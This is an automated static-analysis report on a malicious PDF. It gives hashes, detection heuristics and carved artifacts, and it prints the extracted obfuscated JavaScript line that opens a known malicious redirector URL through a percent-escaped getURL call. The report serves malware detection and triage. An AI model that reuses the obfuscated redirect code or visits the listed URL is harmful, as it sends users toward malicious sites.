Malicious PDF — malware analysis report

Static analysis result for SHA-256 3a61ada9a0c63c01…

MALICIOUS

PDF

41.9 KB Created: 2012-10-18 03:22:08 +04:00 Authoring application: http://www.instructables.com (via mPDF 5.0) First seen: 2026-05-08
MD5: 5fa9e251b7084c274d03f08806ba9bcc SHA-1: a22ec66632ea2b5b1dd7a0f6722d21c9b00aa5f1 SHA-256: 3a61ada9a0c63c01492202661cefd951a3f53993f67bc3215ca1811d558749f1
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The extracted JavaScript file, 'javascript_obj0029_000.js', shows signs of obfuscation and hex escape sequences, suggesting it is designed to perform malicious actions such as downloading and executing a second-stage payload. The exact intent is difficult to determine due to obfuscation, but the presence of JavaScript in a PDF is a strong indicator of malicious activity.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9984

Heuristics 6

  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • WwwSearchSites obfuscated getURL redirector critical PDF_JS_WWWSEARCHSITES_GETURL_REDIRECTOR
    PDF document-level JavaScript automatically opens the known wwwsearchsites.com/in.cgi?10 redirector from a percent-escaped getURL() target. This is a known malicious redirector carrier family, not evidence of a PDF parser CVE.
  • Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR
    PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://wwwsearchsites.com/in.cgi?10 Referenced by PDF JavaScript
    • http://dejavu.sourceforge.netIn PDF document text
    • http://dejavu.sourceforge.net/wiki/index.php/LicenseIn PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0029_000.js pdf-javascript-stream PDF /JS object 29 at offset 0xA0ED 130 bytes
SHA-256: 8139b0ff1cb1654f40fa2e0f4917ed84cccbab34fc1337b3c5ec2c588eb4b083
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
this.getURL(unescape('%68%74%74%70%3a%2f%2f%77%77%77%73%65%61%72%63%68%73%69%74%65%73%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%30'))
stream_003_off000018f2.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x18F2 17756 bytes
SHA-256: ded1520fd68b91798ef4502ba393be29e6762be445da6319489229b957e57958
font_01_sfnt_off00004704.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x4704 17892 bytes
SHA-256: a8ed3909966b10c026f46212f55dce68c94667ce1ac039797d3ebfa1d644dacf
font_02_sfnt_off00007544.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x7544 18720 bytes
SHA-256: 4ee4e439b16220e78b319060a3d86ba95cd4b8614522dd4fa1d4df274793c516

Open this report in the interactive analyzer, or submit your own file for analysis.